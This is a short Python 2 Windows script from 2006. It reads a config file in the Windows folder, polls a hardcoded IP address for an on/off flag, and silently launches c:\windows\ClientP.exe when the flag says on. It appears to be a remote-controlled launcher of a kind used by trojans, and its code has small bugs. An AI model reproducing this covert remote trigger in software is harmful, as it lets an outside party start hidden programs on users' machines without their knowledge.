#!/usr/bin/python
# -*- coding: gb2312 -*-
# Create Time :  2006-1-2 5:36:38

from pythonutils import ConfigObj
from tempfile import mkstemp
import time
import os
import re
import sys
import urllib
import win32gui

def loadLocalConfig(conf_file='c:\\windows\\rn_config.ini'):
    '''read local rn-config.ini
    '''

    config = ConfigObj(conf_file)
    try:
        rn_section = config['main']
    except UnboundLocalError:
        stats_url = 'http://61.178.86.26:8000/RNflag0'
        wait_time = 10
    except KeyError:
        stats_url = 'http://61.178.86.26:8000/RNflag0'
        wait_time = 10
        
    try:
        stats_url = rn_section['url']
    except UnboundLocalError:
        stats_url = 'http://61.178.86.26:8000/RNflag0'
    try:
        wait_time = rn_section['wait_time']
    except UnboundLocalError:
        wait_time = 10
        
    return stats_url, wait_time


class ValidConfigError(Exception):
    
    def __init__(self):
        pass
    
    def __str__(self):
        pass
    
class RemoteConfigError(Exception):
    def __init__(self):
        pass
    def __str__(self):
        pass
    
    
def LoadRemoteConfig(r_url='http://61.178.86.26:8000/RNflg0'):
    '''read remote config, return parm
    
    @param r_url: remote url link
    '''
    
    r = urllib.URLopener()
    try:
        u = r.open(r_url)
    except IOError:
        raise RemoteConfigError
    
    allow_stats = ('1', '0', 'on', 'off', 'open', 'close')
    r_stats = u.readline().strip().lower()
    if r_stats not in allow_stats:
        raise RemoteConfigError
    
    r_conf = u.read()
    config = ConfigObj(r_conf.split('\n'))
    
    try:
        r_s = config['wallpaper']
        r_w_url = r_s['wallpaper_url']
    except UnboundLocalError:
        r_w_url = '' # config is not valid, or old config
    except KeyError:
        r_w_url = '' # config not valid

    return r_stats, r_w_url


#win32gui.MessageBox( 0, 'hehesdfgsdgfsdgfdsgfdsgf', 'Error', 64 )

def runPg(program_name='''C:\Program Files\PuTTY\putty.exe'''):
    os.spawnl(os.P_NOWAIT,program_name,'')
    return
    #import win32process
    #si = win32process.STARTUPINFO()
    #details = win32process.CreateProcess('foo.exe', program_name, None, None, False, 0, None, None, si) 

def main():
    stats_url, wait_time = loadLocalConfig()
    
    #print stats_url, wait_time
    
    try:
        time.sleep(int(wait_time))
    except:
        time.sleep(15)
    try:
        r_state, r_wallpager = LoadRemoteConfig(stats_url)
    except RemoteConfigError:
        sys.exit() # load remote config Error, exit
    
    if r_state == '0' or r_state == 'off' or r_state == 'close':
        #print 'no running'
        sys.exit()
    elif r_state == '1' or r_state == 'on' or r_state == 'open':
        runPg('''c:\windows\ClientP.exe''')
        sys.exit()
    else:
        pass
        
if __name__ == '__main__':
    main()
